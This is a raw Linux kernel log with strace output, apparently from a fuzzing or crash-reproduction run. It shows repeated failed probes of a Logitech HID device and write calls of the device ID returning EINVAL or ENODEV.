[ 74.876299][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.880300][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.883177][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.885985][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.888991][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.892012][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.894873][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.897717][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.900879][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.903786][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.906625][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.909742][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.912653][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.915463][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.918708][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.921647][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.924491][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.927362][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.930540][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.933451][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.936298][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.939633][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.942549][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.945405][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.948493][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.951562][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.954471][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.957345][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.960608][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.963511][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.966345][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.969898][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.972780][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.975605][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.978856][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.981735][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.984558][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.987464][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.991345][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.994277][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.997113][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.000385][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.003287][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.006062][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.009115][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.012101][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.014948][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.018172][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.021072][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.023934][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.026761][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.029930][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.032836][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.035685][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.038917][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.041956][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.044834][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.047686][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.050756][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.053640][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.056424][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.059693][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.062622][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.065456][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.068590][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.071458][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.074296][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.077153][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.080838][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.083773][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.086654][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.089835][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.092781][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.095615][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.098837][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.102593][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.105484][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.108605][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.111542][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.114373][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.117219][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.120570][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.123457][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.126353][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.129705][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.132609][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.135480][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.138758][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.141676][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.144580][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.147460][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.150558][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.153464][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.156291][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.159610][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.162553][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.165387][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.168573][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.171540][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.174404][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.177258][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.180575][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.183462][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.186347][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.189842][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.192785][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.195576][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.198769][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.201740][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.204669][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.207537][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.211427][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.214374][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.217212][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.220507][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.223401][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.226286][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.229471][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.232441][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.235288][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.238549][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.241441][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.244289][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.247095][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.250275][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.253159][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.255988][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.259178][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.262169][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.265042][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.268170][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.271102][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.273956][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.276771][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.280118][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.283072][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.285936][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.289143][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.292134][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.294969][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.298645][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.301533][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.304365][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.307162][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.310331][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.313289][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.316126][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.320191][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.323147][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.326000][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.329117][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.332039][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.334912][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.338260][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.341177][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.344042][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.346887][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.350031][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.352956][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.355787][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.358967][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.361970][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.364848][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.367890][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.370907][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.373807][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.376670][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.379962][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.382895][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.385723][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[+] Done
[ 76.490414][ T1377] ieee802154 phy0 wpan0: encryption failed: -22
[ 76.492981][ T1377] ieee802154 phy1 wpan1: encryption failed: -22
TruncatedCrashReport: TruncatedStraceOutput:[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.037229][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.069664][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.081723][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.103963][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.126396][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.137700][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.150885][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.164328][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.186658][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.199188][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.210345][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.224867][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.239052][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.250546][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.262013][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 74.275689][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.286590][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.309757][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.322252][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
